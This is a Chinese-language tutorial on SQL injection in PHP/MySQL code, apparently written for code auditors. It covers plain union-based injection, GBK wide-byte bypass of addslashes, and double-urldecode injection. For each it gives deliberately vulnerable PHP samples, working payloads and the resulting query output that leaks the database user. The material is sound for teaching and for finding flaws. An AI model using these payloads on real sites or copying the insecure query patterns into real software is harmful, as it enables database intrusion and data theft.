SQL注入经常出现在登录页面,HTTP头(user-agent/client-ip/cookies等),订单处理等地方,在发生多个交互的地方经常会发生二次注入。
普通注入 $uid = $_GET[‘id’]; $sql = “select * from user where id=$uid”; $conn = mysql_connect(“localhost”,”root”,””); $sel = mysql_select_db(“test123”,$conn); $result = mysql_query($sql,$conn);普通注入有int型和string型,在string型中需要用到单引号或双引号闭合
在这里变量并没有被单引号所保护,我们可以直接构造一条sql语句来进行列猜解
1 union select 1,2,3 后半部分使用union select查询的列数与数据库中列数不匹配的话(表结构不同)会导致报错(The used SELECT statements have a different number of columns ) 1 union select 1,user(),3,4 这个时候查询的列数与数据库中使用表的列数相同,则会返回所查询的值,这样就完成了列猜解。 结果:Array ( [0] => 1 [1] => root@localhost [2] => 2 [3] => 3 ) 编码注入通过输入转码函数不兼容的特殊字符,可以导致输出的字符变成有害数据(在SQL注入里,最常见的编码注入是Mysql宽字节以及urldecode/rawurldecode)
$conn = mysql_connect(“localhost”,”root”,””); mysql_select_db(“test123”,$conn); mysql_query(“SET NAMES ‘gbk'”,$conn); $uid = addslashes($_GET[‘id’]); $sql = “select * from userinfo where id=’$uid'”; $result = mysql_query($sql,$conn); print_r(‘当前查询语句:’.$sql.'<br />结果:’); print_r(mysql_fetch_row($result));在这里我们可以看到使用了mysql_query设置了数据库的编码为gbk,并且使用了addslashes针对变量id进行保护
%df’ union select 1,2,3,4 + 使用 %df 将addslashes的\合并成字符,这时后面的单引号就会将前面的单引号合并, +将最后面的引号注释掉,中间的union select得以执行。当前查询语句:
select * from userinfo where id=’\\\’ union select 1,2,3,4#’ 结果:Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 ) 二次urldecode注入现在的web程序大多会进行参数过滤,大多通常使用addslashes(),mysql_real_escape_string(),mysql_escape_string()函数或者开启GPC的方式来防止注入,也就是给* ‘ ” \和NULL加上反斜杠进行转义,如果某处使用了urldecode或者rawurldecode函数,将会导致二次解码生成单引号而引发注入。
原理:假设目标开启了GPC的情况下,提交参数为1%2527的payload, 因为第一次解码没有单引号,addslashes不会进行转义,导致%25生成字符%,第二次进行解析的时候将会把%27解析成单引号造成闭合。
$conn = mysql_connect(“localhost”,”root”,””); mysql_select_db(“test123”,$conn); $b = addslashes($_GET[‘id’]); $uid = urldecode($b); $sql = “select * from userinfo where id=’$uid'”; $result = mysql_query($sql,$conn); print_r(‘当前查询语句:’.$sql.'<br />结果:’); print_r(mysql_fetch_row($result)); 此处可以构造语句 %2527%20union%20select%201,user(),3,4%2523 针对单引号进行闭合当前查询语句:
select * from userinfo where id=” union select 1,user(),3,4#’ 结果:Array ( [0] => 1 [1] => root@localhost [2] => 3 [3] => 4 ) 如此就可以通过搜索urldecode和rawurldecode函数来挖掘二次urldecode注入漏洞。